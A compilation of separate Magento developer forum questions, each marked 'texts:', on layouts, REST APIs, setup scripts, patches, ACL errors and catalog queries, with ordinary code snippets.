Product tax price adding to product price.


texts: How to customize a landing page layout so that a client can manage it?

texts:
How can I customize several landing pages so the client can easily add/remove new categories without having to figure out the layout update bit.

Basically I have 2 types of landing pages, the default landing and a page for products that belong to an exploded view. In the exploded view product category I've added this to the layout update:

<reference name="content">
        <reference name="category.products">
            <action method="setTemplate"><file>catalog/category/exploded-view-landing.phtml</file></action>
        </reference>
</reference>

<reference name="root">
        <remove name="home.landing.catalog.product.new" />
</reference>

Which is fine, it works and allows me to setup a custom layout without issues.

HOWEVER

The client will need to add these "exploded view" pages on their own.  Finding, copying & pasting some XML from another resource isn't going to make them happy, I know it's pretty simple - but these are clients not developers.

Is there a way to achieve the same goal by using the local.xml and just having to train the client to "pick the right" layout/template from Page Layout drop down?


texts: Call block of type core/text_list inside Static Block or CMS Page

texts:
Is there any way or work-around for getting the content of "core/text_list" type block into CMS Homepage, with least possible changes ?

The "core/text_list" type block contains two banner sliders one wide banner and another narrow banner slider. It is defined in the local.xml file of custom theme like below:

<reference name="root">
    <block type="core/text_list" name="preface" as="preface" translate="label">
            <label>Preface</label>
    </block>
</reference>

I want to call that block of type "core/text_list" in Homepage content which is defined in cms page.

Any suggestions are welcome.


texts: Paypal checkout express just add product to the cart?

texts:
I enabled paypal express, but it just add the product to the cart, so you need to click it again from the cart view. Should not redirect straightly to the paypal website skipping the cart? if yes, what is going wrong?

thanks


texts: Magento 2 Get Value of Custom Attribute on Magento 2 Rest API V1/orders/items

texts:
I am trying to get the Custom Attribute I have in the sales_order_item to display on the rest/V1/orders/items API call. I was able to get the Attribute to display on the rest/V1/orders API call. Using a Magento\Sales\Api\OrderRepositoryInterface plugin.  But the Attribute don't display on the  rest/V1/orders/items API call. I was trying to use the OrderItemRepositoryInterface plugin, but I don't know what functions to add or if this is the correct way to do this.

Thanks.


texts:
I am using custom theme inherted by blank theme.
I updated magento2 from 2.1.0 to 2.1.2 through composer and after update i am getting following error on cart page.

  Fatal error: Class 'Magento\Catalog\Block\Product\ProductList\Item\Block' not found in D:\wamp\www\mysite\vendor\magento\module-wishlist\Block\Catalog\Product\ProductList\Item\AddTo\Wishlist.php on line 12


texts: Magento 1 (1.9.2.1) image uploader not working after patch 8788

texts:
i've been patching a M 1.9.2.1 installation with the security patch 8788 and
since then the image uploader in the catalog/product page is not working anymore

THE PROBLEM

browse and upload buttons DO show up but when i select an image from my filesystem and upload it, i can't see the image preview in the images table

   .

WHAT HAPPENS

i can confirm the file is being uploaded under media/tmp/catalog/product but it doesn't show in the admin
as a result if i save the product, obviously, the image doesn't save and is not moved to the regular media/catalog folder

WHAT I TRIED

i have already been cleaning caches, reindexing, changing to the default theme, checking for the
lib/uploader/flow.min.js + fusty-flow.js + fusty-flow-factory.js + instance.js
files to be used instead of the swf flash files, so i also checked the obsolete flash component wasn't used anymore
...but nothing

i tried disabling all custom modules with no effect

file permissions under lib/Varien/File/Uploader.php at line 219 are already 0666 and 0777 at line 541

WHAT I NOTICED

is that in a M 1.9.2.2 patched installation, where the js uploader regularly works, the buttons show up on the right side, while here they show up on the left and the layout seems to be a little messed up

yesterday i started debugging  the js but im not very skilled on that...any help?
thanks in advance


texts: ko.getObservable is not a function in admin section

texts:
After updating may Magento2 instance to commit I am seeing the error ko.getObservable is not a function in the file events.js.

I have performed and composer install, bin/magento update and bin/magento static content deploy, but still see this issue.


texts: setup:upgrade stuck exit at installing Data

texts:
I have created following Setup Script

<?php

namespace Anshu\Custom\Setup;

use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Catalog\Api\Data\ProductAttributeInterface;

class InstallData implements InstallDataInterface
{
    /**
     * @var EavSetupFactory
     */
    private $eavSetupFactory;

    public function __construct(EavSetupFactory $eavSetupFactory)
    {
        $this->eavSetupFactory = $eavSetupFactory;
    }
    public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {
        $eavSetup = $this->eavSetupFactory->create(['setup' => $setup]);
        $attributeCode = 'custom_attr';

        $entityType = ProductAttributeInterface::ENTITY_TYPE_CODE;
        $setId = $eavSetup->getDefaultAttributeSetId($entityType);
        $groupId = $eavSetup->getDefaultAttributeGroupId($entityType, $setId);

        $groupName = $eavSetup->getGroupName($entityType, $setId, $groupId, 'attribute_group_name');

        $eavSetup->addAttribute($entityType, $attributeCode, [
            'label' => 'Custom Attribute',
            'frontend_class' => 'validate-email',
            'required' => 0,
            'user_defined' => 1,
            'searchable' => 1,
            'group' => $groupName,
            'sort_order' => 80,
        ]);
    }
}

Now, when I am running setup:upgrade, the process is getting stuck at Installing Data.
What is the issue here?


texts: Magento 2.2.2- ACL Permissions not Working for Customer module

texts:
I have created a new admin user and set a new user role which have access to  only customer section.
When we logged in with that particular user , we are able to see the customer list but when clicked on edit customer it gives below error

  This page isn’t working, currently unable to handle this request. HTTP
  ERROR 500

I referred Magento 2.2.3- ACL Permissions not Working for Customer module  and tried adding the fix in UiComponentFactory.php but it doesnt work and there is no error log or system log. Any solution?

Edit: On adding logger i am getting the following error:

[2019-04-08 16:21:43] main.INFO: Invalid block type: Magento\Customer\Block\Adminhtml\Edit\Tab\View [] []

[2019-04-08 16:21:52] main.CRITICAL: Class XXXX\YYYY\Block\Adminhtml\Customer\Edit\Tab\View does not exist [] []


texts: Magento 1 is not showing Dataflow Profile History

texts:
This is Magento CE 1.9.3.2 installed from scratch, no themes, no extensions.

Go to Backend
From System -> Import/Export click on Dataflow Profiles
Click on profile with ID number 1 - Export All Products
Change the profile and Run it several times
Click on Profile History. You should see profile history. Click on [Search] button, nothing shows up. Select from Profile Action Run option do a Search, then Update option and do a Search. There are no rows showing up.

Checking Magento database, table [dataflow_profile_history] has information recorded. Column [action_code] has values like run and update.

Even the information is stored inside the database, Profile History in Dataflow Profiles is not showing information about Run, Create and Update of a profile. In my humble opinion this is a Magento bug. See the attachments.

Does anyone has a fix already for this issue?


texts: Display Html content between products (every 4 products) for Magento 2

texts:
How can i display a banner or html content between every 4 products in magento 2?

Like i have 4 products then i have a wide banner where it says, did you know we offer free shipping? or something like that.


texts: Magento 2: Product Edit page Error 503 PLEASE HELP

texts:
When I try to add or edit a product,  I get blank page with Error 503: Service Unavailable
The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

In the past 2 month I have created a lot of extensions and all are working fine. The products are shown in the product grid, no problems.

All modules in Admin are working, a maintanance.flag file does not exist.
I disabled all my new modules, nothing works, I am not able to add or edit a product. I dont know what to do, we would like to start next week with our shop.

PLEASE, PLEASE HELP.

Christian


texts: Products without categories missing from search after category move or assign products actions

texts:
In some circumstances, products that are not assigned to any category disappear from the search.

It turns out that this is caused by performing any of the following two actions from the Magento admin of any Magento CE 1.7, 1.8 or 1.9 installation:

Move any category in the category tree (in CE 1.6 the issue is also present, but only when moving a direct child category of the default category).
Change the product assignment for any category (changing the category assignment of a product does not trigger the issue).

This issue can be reproduced as follows:

From the admin, create a product without assigning any category (or take an existing product, and remove the category assignment), and make sure the product can be found using the frontend search (status enabled, visible in search, positive stock quantity, status status enabled, assigned to the correct websites when using a multistore setup).
In the frontend, search for the product and observe that the product is shown on the page
From the admin, perform any of the above two actions (move any category or change the product assignment for any category).
In the frontend, search for the product and observe that the product is missing.

The issue seems to be caused by the catalog_category_product index.

The following function can be used to determine whether this issue is present:

function getProductIdsMissingFromCatalogCategoryProductIndex(Mage_Core_Model_Store $store)
{
    /** @var Mage_Catalog_Model_Resource_Product_Collection $productCollection */
    $productCollection = Mage::getResourceModel('catalog/product_collection');
    $productCollection->addStoreFilter($store);
    $productCollection->addAttributeToFilter('status', Mage_Catalog_Model_Product_Status::STATUS_ENABLED);
    $select = $productCollection->getSelect();
    $select->reset(Zend_Db_Select::COLUMNS);
    $select->columns('e.entity_id');
    $select->joinLeft(
        ['ccpi' => 'catalog_category_product_index'],
        sprintf(
            'ccpi.product_id = e.entity_id AND ccpi.category_id = %d AND ccpi.store_id = %d',
            $store->getRootCategoryId(),
            $store->getId()
        ),
        []
    );
    $select->where('ccpi.product_id IS NULL');
    return $productCollection->getConnection()->fetchCol($select);
}

The issue can be temporarily fixed by reindexing the catalog_category_product index.

This issue has been reported to Magento via the bug tracker on the 26th of November 2014 as issue #6542, but never got a response.

A workaround for this issue is to assign each to the root category of each store group.

I am looking for any actual fix for this bug, such that I do not need to apply this workaround.

Does anyone have an idea how to fix this bug?


texts: How can I fix this? Magento 2 REST API paypal payment successed but Order not creating and getting error in console?

texts: How can I fix this ? Magento 2 REST API paypal payment successed but Order not creating  and getting error in console !


texts: Where does the main nav code actually live?

texts:
I am talking about the default theme (Madison Island) And Magento CE 1.9.

I want to know where the main navigation is being made.

I have found the following file using template hints:

app\design\frontend\rwd\default\template\page\html\header.phtml

Inside of it I 've found:

<div id="header-nav" class="skip-content">
      <?php echo $this->getChildHtml('topMenu') ?>
</div>

But where is the topMenu code? Where does it live? I would also like to know if there is some common logic to finding code like this, as I am new to Magento .


texts:
I am trying to setup an API endpoint my mobile app can use to redirect to Google Play or Apple App Store depending on the device making the request. I have php code that was working stand alone and have created an endpoint in my module that accepts an anonymous GET request.
How do I pass a custom header via the API response, or does this need to be done with a controller?
class AppStore implements AppStoreInterface {

    /**
     * {@inheritdoc}
     */

    public function appstore()
    {
        // android store
        if (preg_match('#android#i', $_SERVER ['HTTP_USER_AGENT'])) {
            header('Location: market://details?id=com.google.android.apps.maps/...');
            return "android";
        }
        // ios
        if (preg_match('#(iPad|iPhone|iPod)#i', $_SERVER ['HTTP_USER_AGENT'])) {
            header('Location: itms://itunes.apple.com/us/app/....');
            return "ios";
        }
        // for another os
        return "Not supported";
    }
}


texts: Cannot create products with custom options via REST async bulk Magento 2.3.4

texts:
I'm trying to create products with custom options via rest/async/bulk/V1/products or rest/async/V1/products but it's not working.

The json that I use is:

[
  {
    "product":{
      "sku":"imac_30",
      "name":"iMac30",
      "price":"32.0000",
      "type_id":"simple",
      "attribute_set_id":"4",
      "status":"1",
      "visibility":"4",
      "weight":"1.0000",
      "extension_attributes":{
        "stock_item":{
          "qty":"24.0000",
          "is_in_stock":"0",
        }
      },
      "options":[
        {
          "product_sku":"imac_30",
          "title":"A doua",
          "type":"drop_down",
          "sort_order":"0",
          "is_require":"1",
          "values":[
            {
              "title":"first",
              "sort_order":"0",
              "price":"3.0000",
              "price_type":"fixed"
            },
            {
              "title":"second",
              "sort_order":"0",
              "price":"4.0000",
              "price_type":"fixed"
            }
          ]
        },
        {
          "product_sku":"imac_30",
          "title":"Prima",
          "type":"field",
          "price":"12.0000",
          "sort_order":"0",
          "is_require":"1",
          "price_type":"fixed"
        }
      ]
    }
  },
  ...
]

When I make the call I didn't get any error from the REST and the queue is created. But when I go to admin panel I get this message:

  Task "Topic async.magento.catalog.api.productrepositoryinterface.save.post": 1 item(s) failed to update

And if I click on View Details the error is:

  The product was unable to be saved. Please try again.

If I use the same json but only with one product and without the square brackets [] from the begging and the end of the json and the endpoint rest/V1/products everything works perfect and the product is created and the custom options are created too.

If I remove the "options" key from the json the product is create even with bulk action, so something is not working when I try to create product with custom options with async or async bulk.

Did anyone faced this problem and can help me with it?
Thanks!


texts: How to get products name and sku and url key using sql query in magento 2?

texts: How to get products name and sku and url key  using sql query in  magento 2 ?


texts: Send email to customer from shopping cart

texts: Hi I need some help I like to have one button in shopping cart that when it will be clicked it will send all products that are added in shopping cart with any email like new order email can this be done or there already exist any extension


texts: Get ordered product size and color in order items admin grid in Magento 1.9.2

texts:
I am showing a list of items ordered from all the orders from 'sales_flat_order_item' table in Magento 1.9.2 . I get the name ,Sku and all other values from the following collection.

  protected function _prepareCollection() {

    $collection = Mage::getModel('sales/order_item')->getCollection();
    $collection->getSelect()->join(array('o' => 'sales_flat_order'), 'main_table.order_id = o.entity_id', array('increment_id','created_at'));
    $this->setCollection($collection);
    parent::_prepareCollection();
    return $this;
}

Now I want to get the size and color of the item ordered.  I am new to Magento , i have no clue from where I can get these value.


texts:
My ajax call not working . It returns

"A technical problem with the server created an error. Try again to continue what you were doing. If the problem persists, try again later."

my ajax call code

function validateAuthorize()
{
    require([
        "jquery"
    ]

, function($){

var name = $('#name').val();
var email = $('#email').val();
$.ajax({
    url: '<?php echo $block->getUrl('path/ajaxcontroller', ['_nosid' => true]); ?>',
    showLoader: true,
    data: {name:name,email:email,form_key:'<?php echo $block->getFormKey(); ?>'},
    type: "POST",
    success: function(result){
        jQuery('#message').html(result);
    }
});

}

controller

My\Module\Controller\Adminhtml\Ajaxcontroller\Index.php

<?php
    namespace My\Module\Controller\Adminhtml\Ajaxcontroller;

    class Index extends \Magento\Backend\App\Action
    {
        protected $resultPageFactory;

        public function __construct(
            \Magento\Backend\App\Action\Context $context,
            \Magento\Framework\Controller\Result\JsonFactory $resultPageFactory
        ) {
            parent::__construct($context);
            $this->resultPageFactory = $resultPageFactory;
        }

        public function execute()
        {
            if($this->getRequest()->isAjax()){
                echo "Testing";
            }
            return false;
        }
    }

Earlier ajax was working properly currently it returns

A technical problem with the server created an error. Try again to continue what you were doing. If the problem persists, try again later


texts: Sometimes there's no result for a search that normally have results

texts:
There is an issue that I've been working around for the last few days and I can't find how to fix it.
I have a site, in Magento 1.9, working with default magento search (we know it have it's issues), and it normally works fine, when I search for some item it will find it.

However, if I keep searching the same word for a while, sometimes it will return no results.

I've found this site edmondscommerce.github.io/magento/magento-no-search-results.html where they address this issue but don't say exactly how to fix it, I'm new to Magento so I don't know how to do any of the two methods they mention.
Is there anyone that can tell me how to do it (and where), or if there's any other way to deal with this issue?
Thanks a lot in advance!!.


texts:
Magento CSS and JS files are not found.

I have just installed Magento 2.3, The issue is that the JS and CSS files are not located at what they are supposed to be and because of that i am getting not found error when access Magento admin panel,

Here is the screenshot shot:

I also have checked the directory like require js which is empty,

Here is the screenshot shot:

Please help, Thanks


texts: Unable to edit/add product attribute in admin in magento 2.4.1


texts: Unable to Install magento 1.7 on godaddy hosted account

texts:
I have followed all the links related to this but I am not able to install.
I am installing on the godadday hosted account.
On the first installation page I am getting "No Input file specified".
Can u pls specify step by step procedure to install.


texts: Any tools to cross check whether all the magento enterprise code has been removed from the community edition after the downgrade

texts:
I have downgraded one site from magento enterprise to community edition based on the below blogs/forums, after that we have made few changes to the site work perfectly in the community edition. And the site working fine now and it's live with community version.

https://gist.github.com/ProxiBlue/87208724f758d5da472f
http://www.yanted.com/2014/02/21/downgrading-magento-enterprise-to-community/

And we have applied for the Certification of Compliance to the magento team to close the enterprise agreement, however we got the reply from the magento team there are still few elements related to enterprise code still in the site and needs to be clean up to close the agreement.

We have cross checked the site very closely but we are unable to find a code/option related to enterprise code, even we have requested to the enterprise team to provide the documents/reports which show the enterprise code still in the site but it seems like they will receive the status as true/false, that's it. They don't have any other details.

And let us know, is there any proper tool or suggestions to cross check and find the enterprise code with the site.

Thanks in advance for your support.


texts: after run php bin/magento module:disable --all my setup become messy

texts:
in my local setup
I have run the command for testing, what happens.

  php bin/magento module:disable --all
  I have found an error in most of commands and nothing is working.

after that, I have run

  php bin/magento module:enable -all

I have found the error in command-line

in db core_config_data table is missing.

I have tried this for fun but never try this ....


texts: Change product price on selection of custom option (checkbox)

texts:
I have displayed Magento products on my site's homepage. Some products have some custom options of checkbox type. I have displayed those custom options under the product image. But I do not have any idea how to change particular product price after checking or unchecking that custom option checkbox.

Here is the code which I have used to display custom options:

$options = Mage::getModel('catalog/product_option')->getProductOptionCollection($emq_product);

//for showing custom options
foreach($options as $o) {
    //echo $o->getTitle();
    $emq_type = $o->getType();
    if ($emq_type=="checkbox") {
        foreach($o->getValues() as $v) {
            echo $v->getTitle();
            echo "<input  id='".$emq_prod_id."' type='checkbox' class='emq_chk' price='". number_format($v->getPrice())."'/>";
        }
    }
}


texts: How can i remove the back button from default magento calendar from current date only

texts:
How can I remove the Back button from default magento calendar from current date only.

How do you disable the prev button when the previous month is less than the current month?

For instance, if the current month is August, then I want to disable the prev month button so that you cannot see the month of July.

I successfully disabled previous dates from the calendar.

js Code :

var calendarSetupObject = {
                                                    inputField  : "options_'.$optionVal->getId().'_date",
                                                    ifFormat    : "%e/%m/%Y",
                                                    showsTime   : "false",
                                                    align       : "Bl",
                                                    singleClick : true,
                                                    disableFunc: function(date){
                                                        var now= new Date();
                                                        if(date.getFullYear()   <   now.getFullYear())  { return true; }
                                                        if(date.getFullYear()   ==  now.getFullYear())  { if(date.getMonth()    <   now.getMonth()) { return true; } }
                                                        if(date.getMonth()      ==  now.getMonth())     { if(date.getDate()     <   now.getDate() + '.$dod.')  { return true; } }
                                                        if(date.getDay() == 0) {   return true;   } else {    return false; }
                                                            },

                                                    }


texts: custom theme implement magento 2.2.6 issue

texts:
How to implement custom header, footer HTML design in our custom theme in Magento 2.2.6 version?

Our theme structure:

  app/design/frontend/Cloudways/m2-theme/Magento_Theme


texts: How do I get the current product id into wishlist.phtml in Magento2?

texts:
Here is My Block.php file

  app/code/Smartwave/Porto/Block/Catalog/Product/View/AddTo/Wishlist.php

namespace Smartwave\Porto\Block\Catalog\Product\View\AddTo;

/**
 * Product view wishlist block
 *
 * @api
 * @since 100.1.1
 */
class Wishlist extends \Magento\Catalog\Block\Product\View
{
    protected $registry;

    public function __construct(
        \Magento\Framework\Registry $registry

    )
    {
        $this->registry = $registry;

    }

 .
 .
 .
 .
 .

    public function getProductIdWishlist(){

         $currentProduct=$this->registry->registry('current_product');
       return $currentProduct->getCurrentProduct();
    }
}

my .phtml file

app/design/frontend/Smartwave/porto/Magento_Wishlist/templates/catalog/product/view/addto/wishlist.

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

// @codingStandardsIgnoreFile

/** @var \Magento\Wishlist\Block\Catalog\Product\View\AddTo\Wishlist $block */
?>
<?php if ($block->isWishListAllowed()) : ?>
    <a href="javascript:void(0)"
       class="action towishlist"
       data-pdtId="<?php echo $block->getProductIdWishlist();?>"
       data-action="add-to-wishlist"><?= $block->escapeHtml(__('Add to Wish List')) ?>
<?php endif; ?>

i need to print current product id inside 'data-pdtId' tag there is any way to print id without using object manager ,


texts:
How does one add links to the RWD theme navigation bar.  I went through the debugger mode to see which files are being called and I still can't figure out how to add links to the responsive nav menu.  I want to add some of the new cms pages I have included in my footer to the top menu. As well as a simple homepage link next to the account drop down.

            <?php echo $this->__('Menu'); ?>

            <?php echo $this->__('Search'); ?>

            <a href="<?php echo $this->helper('customer')->getAccountUrl(); ?>" data-target-element="#header-account" class="skip-link skip-account">

                <?php echo $this->__('Account'); ?>

In the first link called #header-nav I want to know how/where this object is being called and how I can populate the drop down?


texts: Hide price for not login user break my theme

texts:
I purchased a theme that has prices hidden I followed a tutorial
that demonstrated how to hide prices  so I did that and removed the all of

<?php
   if(!Mage::getSingleton('customer/session')->isLoggedIn()){
       echo 'Login to See Price
';
       return;
   }
?>

from the files, I was still unable to view the the prices only when logged in i  used the debug tool to locate what phtml file was calling the prices

when logged in and i tried to remove the

   <?php if(Mage::getSingleton('customer/session')->isLoggedIn()){ ?>

file but i broke my theme here is picture of the file


texts: How to change css which is in pub/static folder

texts:
I want to change the css which comes from this file /pub/static/frontend/Smartwave/porto/en_US/css/styles-m.css
As we cannot change content in this file, then how can i change the css. Is there any way to override this file. If yes then how?


texts: Column isn't Sorting in Custom Admin Report

texts:
I'm having trouble sorting by a column available_qty in a custom admin report.

My select looks like:

$this->getSelect()->reset()
    ->from(
        array("e" => $this->getTable('catalog_product_entity')),
        "*"
    )
    ->joinLeft(
        $this->getTable('purchaseorder/purchaseorder_product'),
        'product_id = entity_id',
        array(
            'qty_ordered'           => 'qty_ordered',
            'qty_recieved'          => 'qty_received',
            'qty_on_purchase_order' => new Zend_Db_Expr('SUM(qty_ordered) - SUM(qty_received)')
        )
    )
    ->joinLeft(
        array('stock_item' => $this->getTable('cataloginventory/stock_item')),
        'stock_item.product_id = entity_id',
        array(
            'qty_on_hand'        => 'qty',
            'qty_on_sales_order' => 'qty_on_sales_order'
        )
    )
    ->columns(array(
        'available_qty' => new Zend_Db_Expr('qty - qty_on_sales_order') // this is the column I'm trying to order by
    ))
    ->group('e.entity_id');

And when I prepare the columns

$this->addColumn('qty_on_hand', array(
    'header'   => $this->__('Qty On Hand'),
    'index'    => 'qty_on_hand',
    'type'     => 'number',
    'filter'   => false
));

$this->addColumn('qty_on_sales_order', array(
    'header'   => $this->__('Qty On Sales Order'),
    'index'    => 'qty_on_sales_order',
    'type'     => 'number',
    'filter'   => false
));

$this->addColumn('available_qty', array(
    'header'   => $this->__('Qty Available'),
    'index'    => 'available_qty',
    'type'     => 'number',
    'filter'   => false
));

But it obviously isn't sorting.  I'm not even seeing the ORDER BY being added to the query.  What am I doing wrong?

I've also tried

$this->addAttributeToSelect('status')
    ->addAttributeToSelect('vendor_id', 'left')
    ->addAttributeToSelect('name')
    ->addAttributeToSelect('cost', 'left')
    ->joinTable(
        'purchaseorder/purchaseorder_product',
        'product_id=entity_id',
        array(
            'qty_ordered'           => 'qty_ordered',
            'qty_recieved'          => 'qty_received',
            'qty_on_purchase_order' => new Zend_Db_Expr('SUM(qty_ordered) - SUM(qty_received)')
        ), null, 'left'
    )->joinTable(
        'cataloginventory/stock_item',
        'product_id=entity_id',
        array(
            'qty_on_hand'        => 'qty',
            'qty_on_sales_order' => 'qty_on_sales_order',
            'available_qty'      => new Zend_Db_Expr('qty - qty_on_sales_order')
        ), null, 'left'
    );
$this->getSelect()
    ->group('e.entity_id');

But then I get

  SQLSTATE[42S22]: Column not found: 1054 Unknown column 'cataloginventory_stock_item.qty - qty_on_sales_order' in 'order clause'

You can see that the order statement isn't being formed correctly.

ORDER BY `cataloginventory_stock_item`.`qty - qty_on_sales_order`


texts: Reverting Security Patch via Cronjob .. Possible?

texts:
On my server, I have always used a quick one use cronjob to apply the magento patches, as I don't have access to SSH. It worked fine, however with this new patch that has come out (SUPEE-6482), it is requesting to revert patch SUPEE-6285 and apply the new one. I tried reverting via the cronjob by just running it again, and I get this:

Checking if patch can be applied/reverted successfully...
ERROR: Patch can't be applied/reverted successfully.

patching file app/Mage.php
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.
1 out of 1 hunk ignored -- saving rejects to file app/Mage.php.rej
patching file app/code/community/Phoenix/Moneybookers/controllers/MoneybookersController.php
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.
1 out of 1 hunk ignored -- saving rejects to file app/code/community/Phoenix/Moneybookers/controllers/MoneybookersController.php.rej
patching file app/code/core/Mage/Adminhtml/Controller/Action.php
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.
1 out of 1 hunk ignored -- saving rejects to file app/code/core/Mage/Adminhtml/Controller/Action.php.rej
patching file app/code/core/Mage/Adminhtml/controllers/AjaxController.php
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.

And so on...

So my question, is if this is possible to be done this way, and if not, what other means would there be to revert the patch without using SSH?

-- NOTE --

I have already gotten one tip, stating:

You should be able to revert the patch also by calling it via cron, you just need to add a -R to the command so if your cron job command was:

30 3 * * * sh /var/www/webserver/patch.sh

then to revert use the cronjob command

30 3 * * * sh /var/www/webserver/patch.sh -R

However, my control panel does not allow for that kind of customization, it simply asks for a time and the file, not leaving room to even add the '-R', so my thinking is that is it possible within the patch to have it run through the processes and when it asks 'Assume -R?' .. have it marked yes instead of no?


texts: Magento 1.9.4 Third party model override doesn't work

texts:
I've been trying for days now to get a rewritten model to function. but it doesn't work, I'm puzzled because all seems to be correct.

___Here's my config file : etek/advancednewslettercoupon/etc/config.xml

    <global>
          <models>
            <advancednewslettercoupon>
                <class>Etek_AdvancedNewsletterCoupon_Model</class>
            </advancednewslettercoupon>
            <advancednewsletter>
                <rewrite>
                  <subscriber>Etek_AdvancedNewsletterCoupon_Model_Subscriber</subscriber>
                <rewrite>
            </advancednewsletter>
          </models>
       </global>

__the subscriber model: Etek/AdvancedNewsletterCoupon/Mode/Subscriber.php

class Etek_AdvancedNewsletterCoupon_Model_Subscriber extends AW_Advancednewsletter_Model_Subscriber
  {
    _construct() {
        var_dump('Etek Subscriber');die(get_class($this));
    }
    public function subscribe($email, $segments, $params = array())
    {  echo"<pre>";die('Etek Subscriber');
  }

___Etek_AdvancedNewsletterCoupon.xml

<?xml version="1.0"?>
 <config>
    <modules>
        <Etek_AdvancedNewsletterCoupon>
            <active>true</active>
            <codePool>local</codePool>
            <depends>
              <AW_Advancednewsletter/>
            </depends>
        </Etek_AdvancedNewsletterCoupon>
    </modules>
 </config>

Let me know if anyone has a solution.


texts: Gets all simple products that belong to a "enabled" configurable product

texts:
I used following code:

$productCollection = Mage::getResourceModel('catalog/product_type_configurable_product_collection')
        ->setFlag('require_stock_items', true)
        ->setFlag('product_children', true);

But how can only select simple products that belongs to an enabled configurable product (status = 'enabled'). Above code don't care about parent product's status. I need most efficient way to do it as I have thousands of products in my store.


texts: Adding a Category Level Condition to Target Rules

texts:
(For those with CE versions of Magento, if you can help me do this for Catalog Price Rules or Shopping Cart Price Rules that might be good enough.)

I'm looking to extend the EE Target Rules module so that I can specify the category level as a condition. Meaning, right now you can do this:

Products to Display:

Product Category is one of - the Child of the Matched Product Categories

I want to be able to add this

Product Category is equal to or lower than - level 3

Anyone have any idea how I can do this?


texts: Magento 1.9 - Create product custom options programmatically

texts:
I have a php code for creating product custom options programmatically but don't know where to place this code.

`

require_once 'app/Mage.php';
require_once 'Zend/Crypt/Hmac.php';umask(0);
Mage::app('default');
Mage::getSingleton('core/session', array('name' => 'frontend'));

function getOptions(){
    return array(
        array(
            'title' => 'Option Value 1',
            'price' =>100,
            'price_type' => 'fixed',
            'sort_order' => '1'
        ),
        array(
            'title' => 'Option Value 2',
            'price' =>100,
            'price_type' => 'fixed',
            'sort_order' => '1'
        ),
        array(
            'title' => 'Option Value 3',
            'price' =>100,
            'price_type' => 'fixed',
            'sort_order' => '1'
        )
    );
}

$option = array(
    'title' => 'custom option title',
    'type' => 'radio', // could be drop_down ,checkbox , multiple
    'is_require' => 1,
    'sort_order' => 0,
    'values' => getOptions()
);

$obj = Mage::getModel('catalog/product');

$product_id = $obj->getIdBySku('skuid1');
$product = $obj->load($product_id);
$optionInstance = $product->getOptionInstance()->unsetOptions();
$product->setHasOptions(1);
$optionInstance->addOption($option);
$optionInstance->setProduct($product);
$product->save();
unset($product);
echo "Done";

$product_id = $obj->getIdBySku('skuid2');
$product = $obj->load($product_id);
$optionInstance = $product->getOptionInstance()->unsetOptions();
$product->setHasOptions(1);
$optionInstance->addOption($option);
$optionInstance->setProduct($product);
$product->save();
unset($product);
echo "Done";

`

Any help?


texts: Magento 2 - How to truncate table using SSH?

texts:
I want to truncate database tables using command line.

Any directions will be highly appreciated.


texts:
How to set Rest API oAuth token expire in minutes or seconds in admin. Currently it's showing hours and it will not accept like 0.5(for 30 minute etc) magento2.
Any One know about this, please help me asap.


texts: How to Remove Runtime Exception during Setup:di:compile command in magento 2.1.12?

texts:
[RuntimeException]
  Source class "\Magento\CatalogRule\Api\Data\RuleLabelInterface" for
  "Magent     o\CatalogRule\Api\Data\RuleLabelInterfaceFactory"
  generation does not exist     .


texts: Magento 1 Issue- Shopping cart rule does not apply on Reorder from backend

texts:
I am using Magento EE ver. 1.14.2.4
I have observed that shopping cart price rule does not apply on reorder from backend admin side.
It considers the original product amount instead of applying shopping cart price rule into order.
Scenario :-

Add shopping cart rule for fix $20 discount on all products.

Add product, rule applied, order placed with shopping cart rule
considered. see here -

On reorder page shopping cart rule does on apply. see here -

Here is the shopping cart rule

Is their any way i can see the order total data into quote,
so on reorder page the discount gets applied same as the order page ?


texts:
In my category pages, I would like to mix the order of the products to be random.

Problem:

I was adding products to my site by "Brand". Now if I click on "T-Shirt" category, first 5 pages is Adidas only, then next 5 pages it's Puma etc. I would like to mix the products in all my categories to be totally random.

Desired result:

Category pages have products randomly displayed. So for example, page 1 in "T-Shirt" category, will have a mix of all the products within this category in random sort order.

Using Magento 2.1.8 and custom theme.


texts: User product price will not changes after changing customer group on the same session

texts:
I have two customer groups like

CG1 and CG2 and for product A

CG1's price is 10 $

CG2's price is 20 $.

My user is currently on customer group 1 (CG1) and I switched him to customer group 2 (CG2). When I am switching him from group 1, his current session was on, but the product price didn't change to 20$ immediately. Only after re-login he was able to see the updated price.

Where is magento storing this session and how can we forcibly update even if the session is on ? Is there any kind of caching we need to clear.

How to resolve this?


texts: Magento 2 - Adding Class to individual Navigation Items on Account Page

texts:
I need to add a class to each of these navigation items on the Account page.

The file containing the navigation wrapper can be found at (vendor\magento\module-customer\view\frontend\templates\account\navigation.phtml):

        <?= $block->escapeHtml(__('My Account')) ?>

                <?= $block->getChildHtml() ?>

Thanks in advance!


texts: "The required options you selected are not available." in cart in Magento-2.1?

texts: Bundle option id is change every time,when i will any change like add some option or remove some option.Suppose I have one bundle product in cart before changes.After bundle product changes, Carts is showing error "The required options you selected are not available." in Magento-2.1. How to solve this error,Please help me this is major issue.


texts: Alternatives or additional tools for Magento 1 EQP Coding Standard?

texts:
As I was working on a new "awesome" M1 extension (after I've read How to write a custom extension and others best practice like this or this), I decided to check if I was respecting the coding standards (better late than never).

So, I found this question and tried the magento-marketplace-eqp tool.

It was very usefull and it pushed me to correct some formatting settings of my favorite IDE.

But, when I asked about this tool to some other developers, they answered me that they were using it but they advised about a lot of different tools like :

PHP Mess Detector aka phpmd with this for M1

Copy/Paste Detector aka phpcd

PHP-CS-Fixer

So, I'm now quite lost ... I will try these tools and I will make my own opinion on it.

My question is certainly too much suggestive but if you know/use some other tools and if you think they are usefull (or should even be mandatory for every M1 developers...), please tell me which ones.

